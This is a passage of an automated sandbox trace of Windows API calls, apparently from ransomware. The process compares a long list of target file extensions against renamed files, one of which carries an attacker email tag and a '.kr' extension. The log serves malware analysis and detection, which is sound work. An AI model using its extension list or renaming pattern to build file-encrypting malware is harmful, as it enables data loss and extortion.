lpString2=".cc].kr") returned -1 [0087.905] lstrlenW (lpString=".bak") returned 4 [0087.905] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".bay") returned 4 [0087.905] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".bd") returned 3 [0087.905] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0087.905] lstrlenW (lpString=".bin") returned 4 [0087.905] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".bmp") returned 4 [0087.905] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".bz2") returned 4 [0087.905] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".c") returned 2 [0087.905] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0087.905] lstrlenW (lpString=".cdr") returned 4 [0087.905] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0087.905] lstrlenW (lpString=".cer") returned 4 [0087.905] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".cf") returned 3 [0087.906] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0087.906] lstrlenW (lpString=".cfc") returned 4 [0087.906] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".cfm") returned 4 [0087.906] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".cfml") returned 5 [0087.906] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0087.906] lstrlenW (lpString=".cfu") returned 4 [0087.906] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".chm") returned 4 [0087.906] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".cin") returned 4 [0087.906] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".class") returned 6 [0087.906] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0087.906] lstrlenW (lpString=".clx") returned 4 [0087.906] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".config") returned 7 [0087.906] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0087.906] lstrlenW (lpString=".cpp") returned 4 [0087.906] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".cr2") returned 4 [0087.906] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0087.906] lstrlenW (lpString=".crt") returned 4 [0087.907] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".crw") returned 4 [0087.907] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".cs") returned 3 [0087.907] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0087.907] lstrlenW (lpString=".css") returned 4 [0087.907] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".csv") returned 4 [0087.907] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".cub") returned 4 [0087.907] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".dae") returned 4 [0087.907] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".dat") returned 4 [0087.907] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".db") returned 3 [0087.907] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0087.907] lstrlenW (lpString=".dbf") returned 4 [0087.907] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".dbx") returned 4 [0087.907] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".dc3") returned 4 [0087.907] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".dcm") returned 4 [0087.907] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0087.907] lstrlenW (lpString=".dcr") returned 4 [0087.908] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".der") returned 4 [0087.908] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".dib") returned 4 [0087.908] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".dic") returned 4 [0087.908] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".dif") returned 4 [0087.908] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".divx") returned 5 [0087.908] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0087.908] lstrlenW (lpString=".djvu") returned 5 [0087.908] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0087.908] lstrlenW (lpString=".dng") returned 4 [0087.908] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".doc") returned 4 [0087.908] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".docm") returned 5 [0087.908] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0087.908] lstrlenW (lpString=".docx") returned 5 [0087.908] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0087.908] lstrlenW (lpString=".dot") returned 4 [0087.908] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0087.908] lstrlenW (lpString=".dotm") returned 5 [0087.908] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0087.908] lstrlenW (lpString=".dotx") returned 5 [0087.908] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0087.909] lstrlenW (lpString=".dpx") returned 4 [0087.909] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".dqy") returned 4 [0087.909] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".dsn") returned 4 [0087.909] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".dt") returned 3 [0087.909] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0087.909] lstrlenW (lpString=".dtd") returned 4 [0087.909] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".dwg") returned 4 [0087.909] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".dwt") returned 4 [0087.909] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".dx") returned 3 [0087.909] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0087.909] lstrlenW (lpString=".dxf") returned 4 [0087.909] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".edml") returned 5 [0087.909] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0087.909] lstrlenW (lpString=".efd") returned 4 [0087.909] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".elf") returned 4 [0087.909] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0087.909] lstrlenW (lpString=".emf") returned 4 [0087.909] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".emz") returned 4 [0087.910] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".epf") returned 4 [0087.910] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".eps") returned 4 [0087.910] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".epsf") returned 5 [0087.910] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0087.910] lstrlenW (lpString=".epsp") returned 5 [0087.910] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0087.910] lstrlenW (lpString=".erf") returned 4 [0087.910] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".exr") returned 4 [0087.910] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".f4v") returned 4 [0087.910] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".fido") returned 5 [0087.910] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0087.910] lstrlenW (lpString=".flm") returned 4 [0087.910] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".flv") returned 4 [0087.910] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".frm") returned 4 [0087.910] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0087.910] lstrlenW (lpString=".fxg") returned 4 [0087.910] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".geo") returned 4 [0087.911] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".gif") returned 4 [0087.911] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".grs") returned 4 [0087.911] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".gz") returned 3 [0087.911] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0087.911] lstrlenW (lpString=".h") returned 2 [0087.911] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0087.911] lstrlenW (lpString=".hdr") returned 4 [0087.911] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".hpp") returned 4 [0087.911] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".hta") returned 4 [0087.911] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".htc") returned 4 [0087.911] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".htm") returned 4 [0087.911] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".html") returned 5 [0087.911] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0087.911] lstrlenW (lpString=".icb") returned 4 [0087.911] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0087.911] lstrlenW (lpString=".ics") returned 4 [0087.911] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".iff") returned 4 [0087.912] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".inc") returned 4 [0087.912] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".indd") returned 5 [0087.912] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0087.912] lstrlenW (lpString=".ini") returned 4 [0087.912] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".iqy") returned 4 [0087.912] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".j2c") returned 4 [0087.912] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".j2k") returned 4 [0087.912] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".java") returned 5 [0087.912] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0087.912] lstrlenW (lpString=".jp2") returned 4 [0087.912] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".jpc") returned 4 [0087.912] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".jpe") returned 4 [0087.912] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0087.912] lstrlenW (lpString=".jpeg") returned 5 [0087.912] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0087.913] lstrlenW (lpString=".jpf") returned 4 [0087.913] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0087.913] lstrlenW (lpString=".jpg") returned 4 [0087.913] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0087.913] lstrlenW (lpString=".jpx") returned 4 [0087.913] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0087.913] lstrlenW (lpString=".js") returned 3 [0087.913] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0087.913] lstrlenW (lpString=".jsf") returned 4 [0087.913] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0087.913] lstrlenW (lpString=".json") returned 5 [0087.913] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0087.913] lstrlenW (lpString=".jsp") returned 4 [0087.913] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0087.913] lstrlenW (lpString=".kdc") returned 4 [0087.913] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0087.913] lstrlenW (lpString=".kmz") returned 4 [0087.914] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".kwm") returned 4 [0087.914] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".lasso") returned 6 [0087.914] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0087.914] lstrlenW (lpString=".lbi") returned 4 [0087.914] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".lgf") returned 4 [0087.914] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".lgp") returned 4 [0087.914] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".log") returned 4 [0087.914] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".m1v") returned 4 [0087.914] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".m4a") returned 4 [0087.914] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".m4v") returned 4 [0087.914] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".max") returned 4 [0087.914] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".md") returned 3 [0087.914] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0087.914] lstrlenW (lpString=".mda") returned 4 [0087.914] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0087.914] lstrlenW (lpString=".mdb") returned 4 [0087.915] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mde") returned 4 [0087.915] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mdf") returned 4 [0087.915] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mdw") returned 4 [0087.915] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mef") returned 4 [0087.915] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mft") returned 4 [0087.915] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mfw") returned 4 [0087.915] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mht") returned 4 [0087.915] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mhtml") returned 6 [0087.915] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0087.915] lstrlenW (lpString=".mka") returned 4 [0087.915] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mkidx") returned 6 [0087.915] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0087.915] lstrlenW (lpString=".mkv") returned 4 [0087.915] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mos") returned 4 [0087.915] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0087.915] lstrlenW (lpString=".mov") returned 4 [0087.915] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".mp3") returned 4 [0087.916] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".mp4") returned 4 [0087.916] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".mpeg") returned 5 [0087.916] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0087.916] lstrlenW (lpString=".mpg") returned 4 [0087.916] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".mpv") returned 4 [0087.916] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".mrw") returned 4 [0087.916] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".msg") returned 4 [0087.916] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".mxl") returned 4 [0087.916] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".myd") returned 4 [0087.916] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".myi") returned 4 [0087.916] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".nef") returned 4 [0087.916] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".nrw") returned 4 [0087.916] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".obj") returned 4 [0087.916] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0087.916] lstrlenW (lpString=".odb") returned 4 [0087.917] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".odc") returned 4 [0087.917] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".odm") returned 4 [0087.917] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".odp") returned 4 [0087.917] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".ods") returned 4 [0087.917] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".oft") returned 4 [0087.917] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".one") returned 4 [0087.917] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".onepkg") returned 7 [0087.917] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0087.917] lstrlenW (lpString=".onetoc2") returned 8 [0087.917] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0087.917] lstrlenW (lpString=".opt") returned 4 [0087.917] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".oqy") returned 4 [0087.917] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".orf") returned 4 [0087.917] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0087.917] lstrlenW (lpString=".p12") returned 4 [0087.917] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".p7b") returned 4 [0087.918] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".p7c") returned 4 [0087.918] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pam") returned 4 [0087.918] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pbm") returned 4 [0087.918] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pct") returned 4 [0087.918] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pcx") returned 4 [0087.918] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pdd") returned 4 [0087.918] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pdf") returned 4 [0087.918] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pdp") returned 4 [0087.918] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pef") returned 4 [0087.918] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pem") returned 4 [0087.918] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pff") returned 4 [0087.918] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pfm") returned 4 [0087.918] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0087.918] lstrlenW (lpString=".pfx") returned 4 [0087.919] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0087.919] lstrlenW (lpString=".pgm") returned 4 [0087.919] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0087.919] lstrlenW (lpString=".php") returned 4 [0087.919] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0087.919] lstrlenW (lpString=".php3") returned 5 [0087.919] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0087.919] lstrlenW (lpString=".php4") returned 5 [0087.919] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0087.919] lstrlenW (lpString=".php5") returned 5 [0087.919] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0087.919] lstrlenW (lpString=".phtml") returned 6 [0087.919] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0087.919] lstrlenW (lpString=".pict") returned 5 [0087.919] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0087.919] lstrlenW (lpString=".pl") returned 3 [0087.919] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0087.919] lstrlenW (lpString=".pls") returned 4 [0087.919] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0087.919] lstrlenW (lpString=".pm") returned 3 [0087.919] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0087.919] lstrlenW (lpString=".png") returned 4 [0087.919] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0087.919] lstrlenW (lpString=".pnm") returned 4 [0087.919] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".pot") returned 4 [0087.920] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".potm") returned 5 [0087.920] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0087.920] lstrlenW (lpString=".potx") returned 5 [0087.920] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0087.920] lstrlenW (lpString=".ppa") returned 4 [0087.920] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".ppam") returned 5 [0087.920] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0087.920] lstrlenW (lpString=".ppm") returned 4 [0087.920] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".pps") returned 4 [0087.920] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".ppsm") returned 5 [0087.920] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0087.920] lstrlenW (lpString=".ppt") returned 4 [0087.920] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".pptm") returned 5 [0087.920] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0087.920] lstrlenW (lpString=".pptx") returned 5 [0087.920] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0087.920] lstrlenW (lpString=".prn") returned 4 [0087.920] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0087.920] lstrlenW (lpString=".ps") returned 3 [0087.920] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0087.921] lstrlenW (lpString=".psb") returned 4 [0087.921] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".psd") returned 4 [0087.921] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".pst") returned 4 [0087.921] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".ptx") returned 4 [0087.921] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".pub") returned 4 [0087.921] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".pwm") returned 4 [0087.921] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".pxr") returned 4 [0087.921] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".py") returned 3 [0087.921] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0087.921] lstrlenW (lpString=".qt") returned 3 [0087.921] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0087.921] lstrlenW (lpString=".r3d") returned 4 [0087.921] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".raf") returned 4 [0087.921] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0087.921] lstrlenW (lpString=".rar") returned 4 [0087.921] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0087.922] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6aab642, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6aab642, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0087.922] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.922] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.922] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0087.922] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0087.922] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, 